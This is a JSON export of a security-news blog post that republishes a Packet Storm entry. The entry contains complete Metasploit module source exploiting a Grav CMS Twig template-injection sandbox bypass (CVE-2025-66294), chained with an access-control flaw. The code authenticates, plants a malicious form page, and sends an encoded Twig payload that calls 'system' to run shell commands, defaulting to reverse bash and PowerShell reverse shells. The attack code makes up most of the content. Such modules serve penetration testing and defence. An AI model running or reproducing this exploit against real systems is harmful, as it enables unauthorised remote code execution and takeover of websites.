{"id":30769,"date":"2025-12-12T11:58:38","date_gmt":"2025-12-12T11:58:38","guid":{"rendered":"http:\/\/localhost\/?p=30769"},"modified":"2025-12-12T11:58:38","modified_gmt":"2025-12-12T11:58:38","slug":"grav-cms-twig-ssti-authenticated-sandbox-bypass-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30769","title":{"rendered":"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:14:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution. The cleanDangerousTwig method uses weak regex that fails to sanitize&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212777&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-66294&#8243;,&#8221;CVE-2025-66301&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a Server-Side Template Injection (SSTI)\\n              vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the\\n              Twig sandbox to achieve remote code execution. The cleanDangerousTwig\\n              method uses weak regex that fails to sanitize nested Twig calls within\\n              the evaluate_twig function. To inject the payload, this module leverages\\n              CVE-2025-66301, a broken access control flaw that allows users with page\\n              editing privileges to modify the form&#8217;s YAML frontmatter process section.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Tarek Nakkouch&#8217;\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-66294&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/advisories\/GHSA-662m-56v4-3r8f&#8217;],\\n              [&#8216;CVE&#8217;, &#8216;2025-66301&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/advisories\/GHSA-v8x2-fjv7-8hjh&#8217;]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-01&#8217;,\\n            &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],\\n            &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n            &#8216;Privileged&#8217; =\\u003e false,\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix\/Linux Command Shell&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :unix_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217; }\\n                }\\n              ],\\n              [\\n                &#8216;Windows Command Shell&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :win_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/windows\/powershell_reverse_tcp&#8217; }\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n            }\\n          )\\n        )\\n        register_options(\\n          [\\n            Opt::RPORT(80),\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path to Grav CMS&#8217;, &#8216;\/&#8217;]),\\n            OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;Grav CMS username&#8217;]),\\n            OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;Grav CMS password&#8217;]),\\n            OptString.new(&#8216;FORM_NAME&#8217;, [false, &#8216;Form page name&#8217;, \\&#8221;form-#{Rex::Text.rand_text_alpha(8).downcase}\\&#8221;])\\n          ]\\n        )\\n      end\\n    \\n      def check\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res\\n    \\n        html = res.get_html_document\\n        return CheckCode::Unknown(&#8216;Could not parse HTML&#8217;) unless html\\n    \\n        # First, verify this is a Grav installation\\n        return CheckCode::Safe(&#8216;Target does not appear to be a Grav installation&#8217;) unless grav_installation?(html)\\n    \\n        # Then verify we have access to the login form\\n        return CheckCode::Detected(&#8216;Grav detected but login form not accessible&#8217;) unless login_form_present?(html)\\n    \\n        version_str = get_version_after_login\\n        unless version_str\\n          return CheckCode::Detected(&#8216;Grav CMS detected but version could not be determined&#8217;)\\n        end\\n    \\n        version = Rex::Version.new(version_str.gsub(&#8216;-&#8216;, &#8216;.&#8217;))\\n    \\n        if version \\u003c Rex::Version.new(&#8216;1.8.0.beta.27&#8217;)\\n          return CheckCode::Appears(\\&#8221;Grav CMS #{version_str} is vulnerable\\&#8221;)\\n        end\\n    \\n        CheckCode::Safe(\\&#8221;Grav CMS #{version_str} is patched\\&#8221;)\\n      rescue ArgumentError\\n        CheckCode::Detected(\\&#8221;Grav CMS detected, version parsing failed: #{version_str}\\&#8221;)\\n      rescue ::Rex::ConnectionError\\n        CheckCode::Unknown(&#8216;Connection failed&#8217;)\\n      end\\n    \\n      def exploit\\n        @form_folder = datastore[&#8216;FORM_NAME&#8217;]\\n        @form_name = \\&#8221;exploit-#{Rex::Text.rand_text_alpha(8).downcase}\\&#8221;\\n    \\n        login\\n        fetch_admin_nonce\\n        create_form_page\\n        save_form_with_payload\\n        fetch_frontend_nonces\\n        execute_payload\\n      end\\n    \\n      private\\n    \\n      def grav_installation?(html)\\n        # Check for Grav-specific data attributes\\n        grav_checks = [\\n          html.at(&#8216;\/\/*[@data-gpm-grav]&#8217;),\\n          html.at(&#8216;\/\/*[@data-grav-field]&#8217;),\\n          html.at(&#8216;\/\/*[@data-grav-disabled]&#8217;),\\n          html.at(&#8216;\/\/*[@data-grav-default]&#8217;)\\n        ]\\n    \\n        grav_checks.count { |elem| !elem.nil? } \\u003e= 2\\n      end\\n    \\n      def login_form_present?(html)\\n        # Check for the specific login form inputs we need\\n        username_input = html.at(&#8216;input[@name=\\&#8221;data[username]\\&#8221;]&#8217;)\\n        password_input = html.at(&#8216;input[@name=\\&#8221;data[password]\\&#8221;]&#8217;)\\n    \\n        username_input \\u0026\\u0026 password_input\\n      end\\n    \\n      def get_version_after_login\\n        result = authenticate\\n        return nil unless result == :success || result == :already_authenticated\\n    \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        return nil unless res \\u0026\\u0026 res.code == 200\\n    \\n        html = res.get_html_document\\n        return nil unless html\\n    \\n        version_elem = html.at(&#8216;span.grav-version&#8217;)\\n        return nil unless version_elem\\n    \\n        version_elem.text.strip\\n      end\\n    \\n      def authenticate\\n        res = send_request_cgi!(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        return :connection_failed unless res\\n    \\n        html = res.get_html_document\\n        return :connection_failed unless html\\n    \\n        nonce = html.at(&#8216;input[@name=\\&#8221;login-nonce\\&#8221;]\/@value&#8217;)\\n        return :already_authenticated if nonce.nil? \\u0026\\u0026 html.at(&#8216;span.grav-version&#8217;)\\n        return :connection_failed unless nonce\\n    \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;data[username]&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n            &#8216;data[password]&#8217; =\\u003e datastore[&#8216;PASSWORD&#8217;],\\n            &#8216;task&#8217; =\\u003e &#8216;login&#8217;,\\n            &#8216;login-nonce&#8217; =\\u003e nonce.text\\n          }\\n        )\\n        return :connection_failed unless res\\n        return :login_failed unless [302, 303].include?(res.code)\\n    \\n        :success\\n      end\\n    \\n      def login\\n        print_status(&#8216;Authenticating&#8230;&#8217;)\\n        result = authenticate\\n        case result\\n        when :already_authenticated\\n          print_good(&#8216;Already authenticated&#8217;)\\n        when :success\\n          print_good(&#8216;Login successful&#8217;)\\n        when :connection_failed\\n          fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;)\\n        when :login_failed\\n          fail_with(Failure::NoAccess, &#8216;Login failed&#8217;)\\n        else\\n          fail_with(Failure::UnexpectedReply, &#8216;Unexpected authentication error&#8217;)\\n        end\\n      end\\n    \\n      def fetch_admin_nonce\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;pages&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res\\n        fail_with(Failure::UnexpectedReply, \\&#8221;Unexpected response: #{res.code}\\&#8221;) unless res.code == 200\\n    \\n        html = res.get_html_document\\n        fail_with(Failure::UnexpectedReply, &#8216;Could not parse admin page&#8217;) unless html\\n    \\n        nonce = html.at(&#8216;input[@name=\\&#8221;admin-nonce\\&#8221;]\/@value&#8217;)\\n        fail_with(Failure::UnexpectedReply, &#8216;Could not extract admin nonce&#8217;) unless nonce\\n    \\n        @admin_nonce = nonce.text\\n      end\\n    \\n      def create_form_page\\n        print_status(&#8216;Creating malicious form page&#8230;&#8217;)\\n        res = send_request_cgi!(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;pages&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;data[title]&#8217; =\\u003e &#8216;Contact Form&#8217;,\\n            &#8216;data[folder]&#8217; =\\u003e @form_folder,\\n            &#8216;data[route]&#8217; =\\u003e &#8221;,\\n            &#8216;data[name]&#8217; =\\u003e &#8216;form&#8217;,\\n            &#8216;data[visible]&#8217; =\\u003e &#8221;,\\n            &#8216;data[blueprint]&#8217; =\\u003e &#8221;,\\n            &#8216;task&#8217; =\\u003e &#8216;continue&#8217;,\\n            &#8216;admin-nonce&#8217; =\\u003e @admin_nonce\\n          }\\n        )\\n        fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res\\n    \\n        html = res.get_html_document\\n        fail_with(Failure::UnexpectedReply, &#8216;Could not parse form page&#8217;) unless html\\n    \\n        form_nonce = html.at(&#8216;input[@name=\\&#8221;form-nonce\\&#8221;]\/@value&#8217;)\\n        unique_id = html.at(&#8216;input[@name=\\&#8221;__unique_form_id__\\&#8221;]\/@value&#8217;)\\n        fail_with(Failure::UnexpectedReply, &#8216;Could not extract form nonces&#8217;) unless form_nonce \\u0026\\u0026 unique_id\\n    \\n        @form_nonce = form_nonce.text\\n        @unique_form_id = unique_id.text\\n      end\\n    \\n      def save_form_with_payload\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;pages&#8217;, @form_folder, &#8216;:add&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;task&#8217; =\\u003e &#8216;save&#8217;,\\n            &#8216;data[header][title]&#8217; =\\u003e &#8216;Contact Form&#8217;,\\n            &#8216;data[content]&#8217; =\\u003e &#8216;Please submit the form&#8217;,\\n            &#8216;data[folder]&#8217; =\\u003e @form_folder,\\n            &#8216;data[route]&#8217; =\\u003e &#8221;,\\n            &#8216;data[name]&#8217; =\\u003e &#8216;form&#8217;,\\n            &#8216;data[_json][header][form]&#8217; =\\u003e form_payload_json,\\n            &#8216;_post_entries_save&#8217; =\\u003e &#8216;edit&#8217;,\\n            &#8216;__form-name__&#8217; =\\u003e &#8216;flex-pages&#8217;,\\n            &#8216;__unique_form_id__&#8217; =\\u003e @unique_form_id,\\n            &#8216;form-nonce&#8217; =\\u003e @form_nonce\\n          }\\n        )\\n        fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res\\n        fail_with(Failure::Unknown, &#8216;Failed to save form&#8217;) unless [200, 302, 303].include?(res.code)\\n      end\\n    \\n      def form_payload_json\\n        {\\n          &#8216;name&#8217; =\\u003e @form_name,\\n          &#8216;fields&#8217; =\\u003e { &#8216;name&#8217; =\\u003e { &#8216;type&#8217; =\\u003e &#8216;text&#8217;, &#8216;label&#8217; =\\u003e &#8216;Name&#8217;, &#8216;required&#8217; =\\u003e true } },\\n          &#8216;buttons&#8217; =\\u003e { &#8216;submit&#8217; =\\u003e { &#8216;type&#8217; =\\u003e &#8216;submit&#8217;, &#8216;value&#8217; =\\u003e &#8216;Submit&#8217; } },\\n          &#8216;process&#8217; =\\u003e [{ &#8216;message&#8217; =\\u003e \\&#8221;{{ evaluate_twig(form.value(&#8216;name&#8217;)) }}\\&#8221; }]\\n        }.to_json\\n      end\\n    \\n      def fetch_frontend_nonces\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, @form_folder),\\n          &#8216;keep_cookies&#8217; =\\u003e true\\n        )\\n        fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res\\n        fail_with(Failure::NotFound, &#8216;Form page not found&#8217;) unless res.code == 200\\n    \\n        html = res.get_html_document\\n        fail_with(Failure::UnexpectedReply, &#8216;Could not parse frontend form&#8217;) unless html\\n    \\n        form_nonce = html.at(&#8216;input[@name=\\&#8221;form-nonce\\&#8221;]\/@value&#8217;)\\n        unique_id = html.at(&#8216;input[@name=\\&#8221;__unique_form_id__\\&#8221;]\/@value&#8217;)\\n        form_name = html.at(&#8216;input[@name=\\&#8221;__form-name__\\&#8221;]\/@value&#8217;)\\n        fail_with(Failure::UnexpectedReply, &#8216;Could not extract frontend nonces&#8217;) unless form_nonce \\u0026\\u0026 unique_id\\n    \\n        @frontend_nonce = form_nonce.text\\n        @frontend_unique_id = unique_id.text\\n        @frontend_form_name = form_name\\u0026.text || @form_name\\n      end\\n    \\n      def execute_payload\\n        print_status(&#8216;Triggering payload execution&#8230;&#8217;)\\n        send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, @form_folder),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;data[name]&#8217; =\\u003e twig_payload,\\n            &#8216;__form-name__&#8217; =\\u003e @frontend_form_name,\\n            &#8216;__unique_form_id__&#8217; =\\u003e @frontend_unique_id,\\n            &#8216;form-nonce&#8217; =\\u003e @frontend_nonce\\n          }\\n        }, datastore[&#8216;HttpClientTimeout&#8217;])\\n      end\\n    \\n      def twig_payload\\n        cmd = payload.encoded\\n    \\n        twig_prefix = \\&#8221;{{ grav.twig.twig.registerUndefinedFunctionCallback(&#8216;system&#8217;) }}\\&#8221; \\\\\\n                      \\&#8221;{% set a = grav.config.set(&#8216;system.twig.undefined_functions&#8217;,false) %}\\&#8221; \\\\\\n                      \\&#8221;{{ grav.twig.twig.getFunction(&#8216;\\&#8221;\\n        twig_suffix = \\&#8221;&#8216;) }}\\&#8221;\\n    \\n        case target[&#8216;Type&#8217;]\\n        when :win_cmd\\n          encoded_cmd = Rex::Text.encode_base64(cmd.encode(&#8216;UTF-16LE&#8217;))\\n    \\n          \\&#8221;#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}\\&#8221;\\n    \\n        else\\n          begin\\n            require &#8216;zlib&#8217;\\n          rescue LoadError =\\u003e e\\n            fail_with(Failure::Unknown, \\&#8221;Failed to load zlib: #{e.message}\\&#8221;)\\n          end\\n          compressed = compress_deflate(cmd)\\n    \\n          # Strip newlines from base64 to avoid breaking Twig syntax\\n          encoded_cmd = Rex::Text.encode_base64(compressed, &#8221;)\\n    \\n          \\&#8221;#{twig_prefix}php -r \\\\\\&#8221;echo gzinflate(base64_decode(\\\\\\\\&#8217;#{encoded_cmd}\\\\\\\\&#8217;));\\\\\\&#8221; | sh#{twig_suffix}\\&#8221;\\n        end\\n      end\\n    \\n      def compress_deflate(data)\\n        deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)\\n        compressed = deflater.deflate(data, Zlib::FINISH)\\n        deflater.close\\n        compressed\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212777&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.6,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212777\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:14:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,62,12,13,53,7,11,5],"class_list":["post-30769","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-96","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30769\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:14:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution....\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30769\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-12T11:58:38+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777\",\"datePublished\":\"2025-12-12T11:58:38+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769\"},\"wordCount\":2090,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.6\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30769#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769\",\"name\":\"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-12T11:58:38+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30769\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30769#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30769","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:14:07&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a Server-Side Template Injection SSTI vulnerability CVE-2025-66294 in Grav CMS that allows bypassing the Twig sandbox to achieve remote code execution....","og_url":"https:\/\/zero.redgem.net\/?p=30769","og_site_name":"zero redgem","article_published_time":"2025-12-12T11:58:38+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30769#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30769"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated 